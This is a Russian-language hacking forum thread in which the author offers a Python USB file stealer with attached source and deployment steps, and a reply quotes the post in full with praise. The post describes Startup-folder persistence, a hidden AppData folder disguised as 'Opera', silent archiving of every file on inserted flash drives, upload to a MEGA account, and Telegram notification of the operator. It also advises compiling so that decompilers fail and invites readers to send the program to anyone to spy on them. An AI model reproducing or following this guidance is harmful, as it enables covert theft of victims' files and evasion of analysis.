Исходник Софт Гайд Стиллер файлов с USB накопителя.

Josski Molodoi

Активный
Автор темы
183
85
Доброго времени бытия.
Решил сбацать полу-бесполезный стиллер на питоне, который не знаю где может пригодиться.

Суть работы:
1) При запуске программы она добавляет .bat файл в папку C:\Users\NAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup, что позволяет ей совершать автозапуск после рестарта ПК.
2) Далее создаётся папка в C:\Users\NAME\AppData\Roaming под именем Opera, в которую в дальнейшем будут помещаться .zip архивы с файлами.
3) Начинается два бесконечных цикла while, которые проверяют наличие флешки (второй цикл нужен потому что при краше программы первый сразу же восстановит её, и я знаю что это можно было сделать через один цикл, но мне как-то так приятнее.)

*** Алгоритм определения USB до жопы прост, и это можно считать самым большим костылём во всей программе ***

Если размер диска < 64 GB -> это флешка.

*** Возможные ошибки***

Проводя тесты, заметил, что ошибка бывает только одна, а именно: если при копировании файлов в .zip вытащить флешку, программа упадёт.

4) Каждые 0.5 секунды идёт проверка на наличие флешки через алгоритм, описанный выше.
5) Если USB найден/найдены, создаётся .zip архив в папке Opera, в него помещаются все файлы с флешки/флешок и отправляются на ваше облачное хранилище. После этого архив/архивы удаляются.

Если вам интересно, то без интернета всё будет работать, просто архивы не удаляются, а при каждой перезагрузке системы происходит проверка папки Opera, и попытка загрузить все .zip архивы на диск. Если загрузится - опять же, архивы самоуничтожатся. Если нет - продолжит собирать файлы в папке Opera.

6) Если удалось загрузить файлы на сервер - вы получите ссылку загруженный архив в чате с вашим Telegram-ботом.

7) После успешного копирования данных в папку Opera программа отправляется сладко спать на 1,5 часа. Сделано это с надеждой на то, что человек за это время извлечёт флешку, и архивы с одинаковыми файлами не создадутся повторно. Вы, конечно, можете менять это значение под свои нужды.

Все ошибки по типу FileNotFoundError, FileExistsError и.т.п отлавливаются, и запуск программы должен проходить гладко.

Что вам необходимо?

1) Установить все зависимости:
pip install mega.py
pip install pyTelegramBotAPI
pip install pyinstaller

2)
Создать диск на MEGA, записать логин и пароль в файл load.py
123333.png


3) Создать Telegram-бота (@botfather), создать с ним диалог (отправить любое сообщение), записать его token и ваш id в файл notifier.py
123333.png


4) Скомпилировать программу с помощью pyinstaller. (Компилировать исключительно python 3.10 + версии, ибо я проводил тесты по декомпиляции, и все известные декомпиляторы отказались работать с этими версиями.)

Всё!
Не гарантирую работу на Win 8 и ниже.
Можете отправить это кому угодно, и смотреть, что человек хранит на флешке.
Пишите по поводу ошибок в комментарии. По поводу ошибок с компиляцией - не пишите.

PS.

Я активно пытаюсь переписать эту программу на C++, у меня не получается. Если вы спец в плюсах - добро пожаловать в мою личку телеграм @fearlessillness
 

Вложения

  • source.zip
    14 KB · Просмотры: 129
Последнее редактирование:

Mamashin

Известный
970
523
Доброго времени бытия.
Решил сбацать полу-бесполезный стиллер на питоне, который не знаю где может пригодиться.

Суть работы:
1) При запуске программы она добавляет .bat файл в папку C:\Users\NAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup, что позволяет ей совершать автозапуск после рестарта ПК.
2) Далее создаётся папка в C:\Users\NAME\AppData\Roaming под именем Opera, в которую в дальнейшем будут помещаться .zip архивы с файлами.
3) Начинается два бесконечных цикла while, которые проверяют наличие флешки (второй цикл нужен потому что при краше программы первый сразу же восстановит её, и я знаю что это можно было сделать через один цикл, но мне как-то так приятнее.)

*** Алгоритм определения USB до жопы прост, и это можно считать самым большим костылём во всей программе ***

Если размер диска < 64 GB -> это флешка.

*** Возможные ошибки***

Проводя тесты, заметил, что ошибка бывает только одна, а именно: если при копировании файлов в .zip вытащить флешку, программа упадёт.

4) Каждые 0.5 секунды идёт проверка на наличие флешки через алгоритм, описанный выше.
5) Если USB найден/найдены, создаётся .zip архив в папке Opera, в него помещаются все файлы с флешки/флешок и отправляются на ваше облачное хранилище. После этого архив/архивы удаляются.

Если вам интересно, то без интернета всё будет работать, просто архивы не удаляются, а при каждой перезагрузке системы происходит проверка папки Opera, и попытка загрузить все .zip архивы на диск. Если загрузится - опять же, архивы самоуничтожатся. Если нет - продолжит собирать файлы в папке Opera.

6) Если удалось загрузить файлы на сервер - вы получите ссылку загруженный архив в чате с вашим Telegram-ботом.

7) После успешного копирования данных в папку Opera программа отправляется сладко спать на 1,5 часа. Сделано это с надеждой на то, что человек за это время извлечёт флешку, и архивы с одинаковыми файлами не создадутся повторно. Вы, конечно, можете менять это значение под свои нужды.

Все ошибки по типу FileNotFoundError, FileExistsError и.т.п отлавливаются, и запуск программы должен проходить гладко.

Что вам необходимо?

1) Установить все зависимости:
pip install mega.py
pip install pyTelegramBotAPI
pip install pyinstaller

2)
Создать диск на MEGA, записать логин и пароль в файл load.py
Посмотреть вложение 143838


3) Создать Telegram-бота (@botfather), создать с ним диалог (отправить любое сообщение), записать его token и ваш id в файл notifier.py
Посмотреть вложение 143844


4) Скомпилировать программу с помощью pyinstaller. (Компилировать исключительно python 3.10 + версии, ибо я проводил тесты по декомпиляции, и все известные декомпиляторы отказались работать с этими версиями.)

Всё!
Не гарантирую работу на Win 8 и ниже.
Можете отправить это кому угодно, и смотреть, что человек хранит на флешке.
Пишите по поводу ошибок в комментарии. По поводу ошибок с компиляцией - не пишите.

PS.

Я активно пытаюсь переписать эту программу на C++, у меня не получается. Если вы спец в плюсах - добро пожаловать в мою личку телеграм @fearlessillness
Жоскооооо и годно, респект.
 
  • Нравится
Реакции: Josski Molodoi

Mamashin

Известный
970
523
Мужик сделай видео так хуй поймешь
Лично мне как человеку знающему Python даже не на все 100% - всё понятно с 1-го захода.
Тут представлен Исходник, поэтому если ты не шаришь хотя бы за микро мини ультра моно основы и базы в программировании - для тебя будет напрямую говоря бесполезна информация с этой темы.
 
  • Нравится
Реакции: zakatov